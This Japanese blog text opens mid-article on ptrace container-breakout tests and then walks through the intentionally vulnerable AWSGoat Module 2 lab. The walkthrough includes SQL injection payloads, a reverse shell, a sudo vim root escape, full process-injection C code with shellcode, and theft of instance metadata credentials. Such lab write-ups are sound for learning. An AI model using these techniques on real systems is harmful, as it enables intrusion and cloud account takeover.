 「ptrace() システムコール」は実行できるが、ホスト環境のプロセスにアクセスできない状態です。

オプション
--pid=host なし
--cap-add=SYS_PTRACE あり

 プロセスを確認します。パターン①同様、コンテナ内のプロセスのみが表示されています。

【コンテナ環境】
root@37ae5c031be6:/usr/poc# ps a
    PID TTY      STAT   TIME COMMAND
      1 pts/0    Ss+    0:00 bash
      7 pts/1    Ss     0:00 bash
     13 pts/1    R+     0:00 ps a


 ケイパビリティを確認してみます。「cap_sys_ptrace」が出力に含まれており「CAP_SYS_PTRACE」が追加されています。
 これで「ptrace() システムコール」も実行できるコンテナ環境となっています。

【コンテナ環境】
root@37ae5c031be6:/usr/poc# capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

 プロセス・インジェクション攻撃を実行してみます。

【コンテナ環境】
root@3241904b2741:/usr/poc# ./infect 74067
+ Tracing process 74067
ptrace(ATTACH):: No such process

 パターン① と同じエラーメッセージが表示されました。失敗原因も同様でホスト環境のプロセスに対してアクセスが失敗しているようです。

 これでコンテナ環境で「ptrace() システムコール」が実行できた場合でも、ホスト環境のプロセスにアクセスできないと攻撃が失敗することが確認できました。

パターン④(--pid=host と --cap-add=SYS_PTRACE)

 最後はホスト環境のプロセスにアクセスできるかつ、「ptrace() システムコール」が実行できる状態です。

オプション
--pid=host あり
--cap-add=SYS_PTRACE あり

  プロセスを確認します。ホスト環境のプロセスにアクセスできています。

【コンテナ環境】
root@b9ceb8fb7c89:/usr/poc# ps a
    PID TTY      STAT   TIME COMMAND
   2130 ?        Ss+    0:00 /sbin/agetty -o -p -- \u --noclear - linux
   2131 ?        Ss+    0:00 /sbin/agetty -o -p -- \u --keep-baud 115200,57600,38400,9600 - vt220
   2401 pts/0    Ss     0:00 -bash
   2424 pts/0    S      0:00 sudo su -
   2426 pts/0    S      0:00 su -
   2427 pts/0    S+     0:00 -bash
  65349 pts/0    T      0:00
  66006 pts/0    Ss+    0:00 bash
  72976 pts/1    Ss     0:00 -bash
  72999 pts/1    S      0:00 sudo su -
  73001 pts/1    S      0:00 su -
  73002 pts/1    S      0:00 -bash
  74067 pts/1    S      0:00 /root/.pyenv/versions/3.9.16/bin/python3 -m http.server 10080
  74440 pts/1    S+     0:00 make app
  74441 pts/1    Sl+    0:00 docker-compose exec app bash
  74457 pts/1    Ss     0:00 bash
  74464 pts/1    R+     0:00 ps a

 ケイパビリティを確認します。「cap_sys_ptrace」が出力に含まれており「CAP_SYS_PTRACE」が追加されています。

【コンテナ環境】
root@b9ceb8fb7c89:/usr/poc# capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

 このコンテナ環境は「ホスト環境のプロセスにアクセス可能」かつ「ptrace() システムコールが実行可能」です。    では、 プロセス・インジェクション攻撃を実行してみます。

【コンテナ環境】
root@aa6559b6c94d:/usr/poc# ./infect 74067
+ Tracing process 74067
+ Waiting for process...
+ Getting Registers
+ Injecting shell code at 0x7f55f4d42987
+ Setting instruction pointer to 0x7f55f4d42989
+ Run it!

id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

docker --version
Docker version 20.10.23, build 7155243

 攻撃は成功し、本来の目的であるホスト環境のroot権限を取得することができました。

まとめ

 以上、4パターンの結果をまとめると以下のようになります。

設定パターン --pid=host --cap-add=SYS_PTRACE 脱獄(Container Breakout)
パターン① - - 失敗
パターン② 有効 - 失敗
パターン③ - 有効 失敗
パターン④ 有効 有効 成功

 プロセス・インジェクション攻撃を利用したコンテナからの脱獄には2つのオプションが必須であることが確認できました。

参考

やられAWS環境「AWSGoat」でペンテストを学習

⚠️ AWSGoat Module 2 のネタバレあり

はじめに

⚠️ AWSGoat Module 2 のネタバレあり

 本記事では、AWS環境のやられアプリである「AWSGoat」を使って、AWS環境下でのペネトレーションテスト(ペンテスト)の学習してみたのでその紹介です。

AWSGost とは

 AWSGost は教育コンテンツで有名な「INE」が提供しており、アプリケーションやインフラのコードは以下のリポジトリで公開されています。

github.com

 AWSGost は2つのラボが用意されており、「Module 1」と「Module 2」があります。

 本記事は「Module 2」を紹介していきます。

Module 2 のインフラ構成(引用:ine-labs/AWSGoat)

攻撃方法の分類

 AWSGoat の Module 2 には主に以下の3つの分類に対しての攻撃方法を学ぶことができます。

  • Webアプリケーション
  • コンテナの設定
  • AWS IAM の権限

 本記事では、インフラに重点を置かれている「コンテナの設定」「AWS IAMの権限」箇所を大々的に説明してきます。

 そのため「Webアプリケーション」に関しての説明は少なめになっています。

 また、公式の攻略手順も公開されているため、これを参考にするのも良いかと思います。
https://github.com/ine-labs/AWSGoat/tree/master/attack-manuals/module 2

インフラの料金

 AWSGoat はAWS上で動作するため、料金が掛かります。

 以下の料金の記載がありました。

  • Module 1: $0.0125 / hour (1.75円 / 時)
  • Module 2: $0.0505 /hour (7.07円 / 時)

ラボ環境の構築

AWSGost の環境構築は簡単です。

各インフラは Terraform で記述されており、GitHub Actions からデプロイできるようになっています。

公式の手順: https://github.com/ine-labs/AWSGoat#installation

脆弱なアプリケーションや脆弱なサービスの設定がデプロイされます。

検証環境のような最悪侵入されても問題ないAWSアカウント上に構築してください。

AWSGost リポジトリをフォーク

リポジトリ「ine-labs/AWSGoat」をフォークします。

ine-labs/AWSGoat: AWSGoat : A Damn Vulnerable AWS Infrastructure

Actions secrets でクレデンシャルを設定

 ポリシー「AdministratorAccess」が付与されているAWSユーザのクレデンシャルを指定します。

GitHub Actions でデプロイ

 GitHub Actions にある「Terraform Apply」の「module-2」を選択して、「Run workflow」を押下します。

 AWS上にやられ環境が構築されます。

 環境を削除するには「Terraform Destroy」から削除できるようになっています。

 出力結果にある「Application URL」にアクセスすると、このラボのスタート地点となるWebアプリケーションが表示されます。

Module 2の大体の流れ

 Module 2 は大きく分けて4つのStepが存在しています。

本記事では「Step 3」と「Step 4」に重点を置いて説明をしていきます。

Step 1. SQL Injection

  1. ログイン画面にSQLiの脆弱性があり、それを利用してダッシュボードにログイン

Step 2. File Upload and Task Metadate

  1. アプリケーションにPHPファイルをアップロードできる脆弱性があるのでリバースシェルを配置してシェルを取得
    (ここで取得できるシェルはコンテナ内かつroot権限でもない)

Step 3. ECS Breakout and Instance Metadata

  1. vimを活用した権限昇格(コンテナ内でroot権限を取得)
  2. ホストマシン上のプロセスに対してプロセスインジェクションを実施してコンテナからの脱獄
    (ホストマシンのroot権限を取得)
  3. ホストマシンのメタデータサービスにアクセスし一時クレデンシャルを取得

Step 4. IAM Privilege Escalation

  1. 強い権限のポリシー・ロールを探索 (「Step 3」で取得したクレデンシャルを利用)
  2. 強い権限をもったEC2インスタンスを作成 & インスタンスから一時クレデンシャルを取得
  3. 管理者権限(AdministratorAccess)を持った「バックドアAWSユーザ」を追加(最終目標

Step 1. SQL Injection

 環境構築時に出力されるURLにアクセスすると下画像のようなログイン画面が表示されます。

 このパートではダッシュボードへログインを成功させることが目的となっています。

解法

  • Webアプリケーションのログインページに移動します。
  • ここで、SQLiを実行するためのインジェクション対象として Email を見つけることができます。
  • 以下の値をログインIDに指定することで一般アカウントでログインすることが可能です。
    ' or '1'='1'#
  • 以下の値をログインIDに指定することで管理者アカウントでログインすることが可能です。
    ' or '1'='1' limit 3#

 学習ポイント : 「LIMIT 句」の有無によってログインされるアカウントが異なり、得られる権限が違います。

脆弱性があるコード

 ちなみにログイン箇所のソースコードは以下ようになっており、SQLインジェクションの脆弱性があることが分かります。

https://github.com/ine-labs/AWSGoat/blob/master/modules/module-2/src/src/login.php#L21

Step 2. File Upload and Task Metadate

 ダッシュボードでは管理者アカウントでログインすることでファイルのアップロードが可能になります。

 アップロードされるファイルの検証行われておらず、PHPファイルのアップロードできるという脆弱性が存在しています。

 そこにPHPで記述されたリバースシェルを配置し、それにアクセスすることでシェルの取得ができます。

 具体的な攻略内容は公式を確認!

AWSGoat/02-File Upload and Task Metadata.md at master · ine-labs/AWSGoat · GitHub

リバースシェルの用意

リバースシェルは以下のコードを利用します。

GitHub - pentestmonkey/php-reverse-shell

 50行目付近に接続を待ち受けるマシンのIPアドレスとポート番号を設定する箇所がありますので、そこにAWS環境からアクセスできるマシンの情報を記述します。

$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS

待ち受け側

 接続を待ち受けるマシン上で「nc -nlvp 4443」コマンドを実行します。(4443 は待ち受けのポート番号)

[root@i-14100000180835 ~]# nc -nlvp 4443
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::4443
Ncat: Listening on 0.0.0.0:4443
Ncat: Connection from 52.87.yyy.zzz.
Ncat: Connection from 52.87.yyy.zzz:53874.
Linux 533e4e3fac01 4.14.313-235.533.amzn2.x86_64 #1 SMP Tue Apr 25 15:24:19 UTC 2023 x86_64 GNU/Linux
 12:35:58 up 20 min,  0 users,  load average: 0.00, 0.01, 0.04
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Step 3. ECS Breakout and Instance Metadata

 「Step 3」では、「Step 2」で取得したシェルを使って主に以下の2つのことを実施します。

  • コンテナからの脱獄
  • メタデータサービス(IMDS:Instance Metadata Service)へのアクセス

現ユーザの権限を確認

 シェルを取得することができたので、アクセス可能なリソースを簡単に確認します。

リソースへのアクセスを試行

 「/rootディレクトリ」と「/etc/shadowファイル」にアクセスできるか確認します。

$ cd /root
/bin/sh: 4: cd: can't cd to /root

$ cat /etc/shadow
cat: /etc/shadow: Permission denied

 権限がなくアクセスできませんでした。

 次は、メタデータサービス(http://169.254.169.254/latest/meta-data/)にアクセスしてみて、クレデンシャルを取得できるかを試してみます。

$ curl -m 5 http://169.254.169.254/latest/meta-data/
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:--  0:00:05 --:--:--     0
curl: (28) Connection timed out after 5000 milliseconds

 メタデータサービスにもアクセスができませんでした。

ケイパビリティを確認 (www-data ユーザ)

 「capsh」コマンドで有効になっているケイパビリティ(capability)の設定を確認します。

 「Current:=」フィールドが空となっているため、十分な権限がないことが確認できます。

$ capsh --print
Current: =
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Ambient set =
Current IAB: !cap_dac_read_search,!cap_linux_immutable,!cap_net_broadcast,!cap_net_admin,!cap_ipc_lock,!cap_ipc_owner,!cap_sys_module,!cap_sys_rawio,!cap_sys_pacct,!cap_sys_admin,!cap_sys_boot,!cap_sys_nice,!cap_sys_resource,!cap_sys_time,!cap_sys_tty_config,!cap_lease,!cap_audit_control,!cap_mac_override,!cap_mac_admin,!cap_syslog,!cap_wake_alarm,!cap_block_suspend,!cap_audit_read
Securebits: 00/0x0/1'b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
 secure-no-ambient-raise: no (unlocked)
uid=33(www-data) euid=33(www-data)
gid=33(www-data)
groups=33(www-data)
Guessed mode: UNCERTAIN (0)

コンテナ内でroot権限を取得

 コンテナ内でroot権限のシェルを取得していきます。

 手始めに「sudo su」コマンドでrootになれないかを試してみましたができないようでした。

$ sudo su

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
sudo: a password is required

sudo可能なコマンドを確認

 現在のユーザでsudo可能なコマンド一覧を確認するために「sudo -l」コマンドを実行します。

$ sudo -l
Matching Defaults entries for www-data on 533e4e3fac01:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on 533e4e3fac01:
    (root) NOPASSWD: /usr/bin/vim /var/www/html/documents

 「/usr/bin/vim /var/www/html/documents」コマンドが sudo で実行することが可能であることが分かりました。

 vim をsudoで動作させることでroot権限のシェルを取得する方法があるのでこの方法を活用することにします。

Use vi/vim for privilege escalation

Vim経由でroot権限のシェルを取得

 Vimが起動したら「:! /bin/sh」と入力し、[Enter]します。

$ sudo /usr/bin/vim /var/www/html/documents
Vim: Warning: Output is not to a terminal
Vim: Warning: Input is not from a terminal

E558: Terminal entry not found in terminfo
'unknown' not known. Available builtin terminals are:
    builtin_amiga
    builtin_ansi
    builtin_pcansi
    builtin_win32
    builtin_vt320
    builtin_vt52
    builtin_xterm
    builtin_iris-ansi
    builtin_debug
    builtin_dumb
defaulting to 'ansi'
" ============================================================================
" Netrw Directory Listing                                        (netrw v170)
"   /var/www/html/documents
"   Sorted by      name
"   Sort sequence: [\/]$,\<core\%(\.\d\+\)\=\>,\.h$,\.c$,\.cpp$,\~\=\*$,*,\.o$,\
"   Quick Help: <F1>:help  -:go up dir  D:delete  R:rename  s:sort-by  x:special
" ==============================================================================
:! /bin/sh
./
payslips/
reimbursments/
~
~
~
~
~
~
~
~
~
~
~
~
:! /bin/sh
id
uid=0(root) gid=0(root) groups=0(root)

 末尾の「id」コマンドを実行しており、出力が「uid=0(root) gid=0(root) groups=0(root)」となっていることから、root権限が取得できていることが確認できます。

ケイパビリティを確認 (root ユーザ)

 再度「capsh」コマンドでケイパビリティを確認し、root権限になっているかを確認します。

capsh --print
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap=ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Ambient set =
Current IAB: !cap_dac_read_search,!cap_linux_immutable,!cap_net_broadcast,!cap_net_admin,!cap_ipc_lock,!cap_ipc_owner,!cap_sys_module,!cap_sys_rawio,!cap_sys_pacct,!cap_sys_admin,!cap_sys_boot,!cap_sys_nice,!cap_sys_resource,!cap_sys_time,!cap_sys_tty_config,!cap_lease,!cap_audit_control,!cap_mac_override,!cap_mac_admin,!cap_syslog,!cap_wake_alarm,!cap_block_suspend,!cap_audit_read
Securebits: 00/0x0/1'b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
 secure-no-ambient-raise: no (unlocked)
uid=0(root) euid=0(root)
gid=0(root)
groups=0(root)
Guessed mode: UNCERTAIN (0)

 ここで重要なのはコンテナ内でのみroot権限を取得したということです。まだメタデータサービスにアクセスできない等、制限は設けられています。

 しかし、Dockerがデフォルトでは保持しないケイパビリティ「SYS_PTRACE」をこのコンテナは保持していることが分かりました。


実行時の権限、Linuxケーパビリティ | Docker run リファレンス

 Q. 「SYS_PTRACE」とは?
 A. 任意のプロセスに ptrace(2) が使用できるようするケイパビリティ。

 Q. 「ptrace(2)」とは?
 A. 他のプロセスを制御することができるシステムコール。メモリの内容も書き換えることも可能

コンテナから脱獄(Jailbreak / Breakout)

 コンテナから脱獄してホストマシン上でroot権限のシェルを取得していきます。

プロセスの一覧を表示 (プロセスインジェクションの準備)

 コンテナ内でroot権限を取得することができたので、一旦このコンテナの起動オプションを確認し、脱獄に利用できるオプションはないかを探してみます。

 このコンテナ環境はECS タスク定義でpidModeパラメータに「host」と設定されており、ホストマシンのPID名前空間がコンテナ環境にマッピングされている状態のようです。

 このためホスト環境の「プロセス列挙」や「プロセスへのアクセス」ができます。

 ちなみにこの設定はAWS Coinfig で警告される非推奨な設定です。
AWS Config ルール:ecs-task-definition-pid-mode-check - AWS Config

 また、コンテナ環境のケイパビリティに「SYS_PTRACE」が追加されてるため任意のプロセスを操作することできます。
下画像はECS タスク定義のケイパビリティの設定部分です。 「SYS_PTRACE」が追加されています。
/modules/module-2/resources/ecs/task_definition.json

 このことからコンテナ環境からプロセスインジェクションで脱獄することができます。

 プロセスインジェクションで脱獄するために利用できるプロセスを探すため、プロセス一覧を表示します。

 root権限で動作している「python3 -m http.server 31452」のプロセスをシェルコードのインジェクション対象にします。

ps -ef
UID        PID  PPID  C STIME TTY          TIME CMD
(省略)
root      4448  4098  0 12:15 ?        00:00:03 /usr/bin/ssm-agent-worker
root     19477     1  0 12:16 ?        00:00:00 python3 -m http.server 31452
root     19550     1  0 12:16 ?        00:00:00 /usr/libexec/amazon-ecs-init start
(省略)

 コンテナから脱獄するためのプロセスインジェクションについては以下の記事が分かりやすいです。
なぜ Python のプロセスをインジェクション対象に選んだのかなど、詳しく説明されています。

tbhaxor.com

シェルを Full TTY にアップグレード

 プロセスインジェクションを実施する前に、シェルを使いやすくするため「Full TTY」シェルにアップグレードします。

 Pythonが導入されているので、Pythonを活用した方法で実施しています。

python3 -V
Python 3.9.2

python3 -c "import pty;pty.spawn('/bin/bash')"
root@533e4e3fac01:/#

root@533e4e3fac01:/# uname -a
Linux 533e4e3fac01 4.14.313-235.533.amzn2.x86_64 #1 SMP Tue Apr 25 15:24:19 UTC 2023 x86_64 GNU/Linux

プロセスインジェクションの実行

 実行中のプロセスにシェルコードをインジェクションするために、以下のC言語プログラムを利用します。

github.com

このC言語プログラムの説明はこの記事が参考になります。

[Linux] Infecting Running Processes - Programming - 0x00sec - The Home of the Hacker


 プロセスにインジェクションするシェルコードは以下のコードを拝借します。

www.exploit-db.com

\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05

 シェルコードを反映したC言語プログラムは以下のようになります。
unsigned char *shellcod =」と「#define SHELLCODE_SIZE 32」の行を書き換えています。

 このファイルを「inject.c」という名前で保存します。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/user.h>
#include <sys/reg.h>

#define SHELLCODE_SIZE 87

unsigned char *shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05";

int inject_data(pid_t pid, unsigned char *src, void *dst, int len)
{
    int i;
    uint32_t *s = (uint32_t *)src;
    uint32_t *d = (uint32_t *)dst;

    for (i = 0; i < len; i += 4, s++, d++)
    {
        if ((ptrace(PTRACE_POKETEXT, pid, d, *s)) < 0)
        {
            perror("ptrace(POKETEXT):");
            return -1;
        }
    }
    return 0;
}

int main(int argc, char *argv[])
{
    pid_t target;
    struct user_regs_struct regs;
    int syscall;
    long dst;
    if (argc != 2)
    {
        fprintf(stderr, "Usage:\n\t%s pid\n", argv[0]);
        exit(1);
    }

    target = atoi(argv[1]);
    printf("+ Tracing process %d\n", target);

    if ((ptrace(PTRACE_ATTACH, target, NULL, NULL)) < 0)
    {
        perror("ptrace(ATTACH):");
        exit(1);
    }
    printf("+ Waiting for process...\n");
    wait(NULL);
    printf("+ Getting Registers\n");

    if ((ptrace(PTRACE_GETREGS, target, NULL, &regs)) < 0)
    {
        perror("ptrace(GETREGS):");
        exit(1);
    }

    /* Inject code into current RPI position */

    printf("+ Injecting shell code at %p\n", (void *)regs.rip);
    inject_data(target, shellcode, (void *)regs.rip, SHELLCODE_SIZE);
    regs.rip += 2;
    printf("+ Setting instruction pointer to %p\n", (void *)regs.rip);

    if ((ptrace(PTRACE_SETREGS, target, NULL, &regs)) < 0)
    {
        perror("ptrace(GETREGS):");
        exit(1);
    }
    printf("+ Run it!\n");

    if ((ptrace(PTRACE_DETACH, target, NULL, NULL)) < 0)
    {
        perror("ptrace(DETACH):");
        exit(1);
    }
    return 0;
}


 標的マシン上で上記C言語プログラムを記述してもよいのですが、私は外部マシン上でC言語プログラムを記述しそれを標的マシン上でダウンロードしました。

root@533e4e3fac01:/# curl http://164.xxx.yyy.xxx/inject.c -o inject.c
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2185  100  2185    0     0   6207      0 --:--:-- --:--:-- --:--:--  6189


 プログラムを標的マシン上に配置できたらコンパイルをします。

root@533e4e3fac01:/# gcc inject.c -o inject


 シェルコードのインジェクション対象とするプロセスのPID(19477)を取得します。

root@533e4e3fac01:/# ps -ef | grep "python"
ps -ef | grep "python"
root       650 32420  0 13:51 pts/0    00:00:00 grep python
root     19477     1  0 12:16 ?        00:00:00 python3 -m http.server 31452
root     32419 21500  0 13:34 ?        00:00:00 python3 -c import pty;pty.spawn('/bin/bash')


 取得したPIDを指定してプログラムを実行します。

root@533e4e3fac01:/# ./inject 19477
./inject 19477
+ Tracing process 19477
+ Waiting for process...
+ Getting Registers
+ Injecting shell code at 0x7f418d201604
+ Setting instruction pointer to 0x7f418d201606
+ Run it!


 コンテナ内でネットワーク情報の取得し、ホストマシンのIPアドレスを推測します。
コンテナ環境のIPアドレスが 172.17.0.2 ですので、ホストマシン側のIPアドレスは 172.17.0.1 だと推測できます。

root@533e4e3fac01:/# ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.2  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 02:42:ac:11:00:02  txqueuelen 0  (Ethernet)
        RX packets 3659  bytes 400605 (391.2 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3312  bytes 3683641 (3.5 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0


 ホストマシン上でroot権限で動作しているプロセスに「nc」コマンドで接続します。

root@533e4e3fac01:/# nc 172.17.0.1 5600


 ルートディレクトリを確認してみると、コンテナ環境からホストマシンへ移動(脱獄)できていることが確認できました。

ls -la /
total 12
dr-xr-xr-x  18 root root  257 May 12 19:48 .
dr-xr-xr-x  18 root root  257 May 12 19:48 ..
-rw-r--r--   1 root root    0 May 12 19:48 .autorelabel
lrwxrwxrwx   1 root root    7 May  5 18:07 bin -> usr/bin
dr-xr-xr-x   4 root root  317 May  5 18:08 boot
drwxr-xr-x  15 root root 2800 May 29 12:15 dev
drwxr-xr-x  80 root root 8192 May 29 12:15 etc
drwxr-xr-x   3 root root   22 May 12 19:48 home
lrwxrwxrwx   1 root root    7 May  5 18:07 lib -> usr/lib
lrwxrwxrwx   1 root root    9 May  5 18:07 lib64 -> usr/lib64
drwxr-xr-x   2 root root    6 May  5 18:07 local
drwxr-xr-x   2 root root    6 Apr  9  2019 media
drwxr-xr-x   2 root root    6 Apr  9  2019 mnt
drwxr-xr-x   4 root root   35 May 29 12:15 opt
dr-xr-xr-x 124 root root    0 May 29 12:15 proc
dr-xr-x---   3 root root  103 May 12 19:48 root
drwxr-xr-x  25 root root  900 May 29 12:16 run
lrwxrwxrwx   1 root root    8 May  5 18:07 sbin -> usr/sbin
drwxr-xr-x   2 root root    6 Apr  9  2019 srv
dr-xr-xr-x  13 root root    0 May 29 13:43 sys
drwxrwxrwt   8 root root  212 May 29 13:53 tmp
drwxr-xr-x  13 root root  155 May  5 18:07 usr
drwxr-xr-x  18 root root  254 May 29 12:15 var

クレデンシャルの取得

 メタデータサービス(http://169.254.169.254/latest/meta-data/)にアクセスしてクレデンシャルを取得します。

curl -m 5 http://169.254.169.254/latest/meta-data/

ami-id
ami-launch-index
ami-manifest-path
autoscaling/
block-device-mapping/
events/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
reservation-id
security-groups
services/
system

 ロール一覧を取得します。

curl http://169.254.169.254/latest/meta-data/iam/security-credentials

ecs-instance-role

 ロール名を指定してからクレデンシャルを取得します。

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ecs-instance-role

{
  "Code" : "Success",
  "LastUpdated" : "2023-05-29T12:53:38Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIAVJX7XXXXXXXXXXXX",
  "SecretAccessKey" : "2vPPTE1Gmg1NLUhDxxxxxxxxxxxxxxxxxxxxxxxx",
  "Token" : "IQoJb3JpZ2luX2VjED0aCXVzLWVhc3QtMSJIMEYCIQDXG29pO3wKPpUVH6W30DJAQIhuKsV3WPs9xxxxxxxxxxxx",
  "Expiration" : "2023-05-29T19:11:59Z"
}

クレデンシャルの設定

 AWS CLI が利用できるマシン(ローカルPC など)に以下の環境変数を設定します。

  • AWS_ACCESS_KEY_ID
  • AWS_SECRET_ACCESS_KEY
  • AWS_SESSION_TOKEN

 私の環境ではデフォルトのリージョンが「ap-northeast-1」になっていたのでクレデンシャルの設定以外に「export AWS_DEFAULT_REGION=us-east-1」の設定も実施しました。

export AWS_ACCESS_KEY_ID=ASIAVJX7XXXXXXXXXXXX
export AWS_SECRET_ACCESS_KEY=2vPPTE1Gmg1NLUhDxxxxxxxxxxxxxxxxxxxxxxxx
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjED0aCXVzLWVhc3QtMSJIMEYCIQDXG29pO3wKPpUVH6W30DJAQIhuKsV3WPs9xxxxxxxxxxxx

export AWS_DEFAULT_REGION=us-east-1

 設定したクレデンシャルが有効であるかを確認します。

$ aws sts get-caller-identity
{
    "UserId": "AROAVJV7MGT3ZFHMKJXHB:i-00b41f7908dc8d792",
    "Account": "364300000000",
    "Arn": "arn:aws:sts::364300000000:assumed-role/ecs-instance-role/i-00b41f7908dc8d792"
}

Step 4. IAM Privilege Escalation

 「Step 4」では「Step 3」で取得したクレデンシャルを活用して、主に以下の3つを実施していきます。

  • 強い権限を持ったIAMロールの探索
  • そのIAMロールをアタッチしたEC2の起動
  • AdministratorAccess ポリシーを持ったバックドアAWSユーザの追加

現在のロールの確認

 侵入したECSのインスタンスにアタッチされているロールを確認します。

 そしてロールにアタッチされているポリシーのポリシードキュメント(アクセス許可と拒否の条件がJSON形式で記述されたもの)を取得し、具体的なアクセス権限を確認します。

ロールのポリシー一覧を取得する (aws iam list-attached-role-policies)

コマンド説明:aws iam list-attached-role-policies
指定されたIAMロールにアタッチされているすべてのマネージドポリシーをリストアップします。

 ロール名「ecs-instance-role」にアタッチされているポリシー一覧を取得します。

$ aws iam list-attached-role-policies --role-name ecs-instance-role

 このロールには「IAMFullAccess (AWS IAM に対してなんでもできる)」ポリシーがアタッチされています。

 そのため、ユーザを作成して管理者権限を付与することができるはずです。(※願望)

{
    "AttachedPolicies": [
        {
            "PolicyName": "AmazonSSMManagedInstanceCore",
            "PolicyArn": "arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore"
        },
        {
            "PolicyName": "IAMFullAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/IAMFullAccess"
        },
        {
            "PolicyName": "AmazonEC2ContainerServiceforEC2Role",
            "PolicyArn": "arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role"
        },
        {
            "PolicyName": "aws-goat-instance-policy",
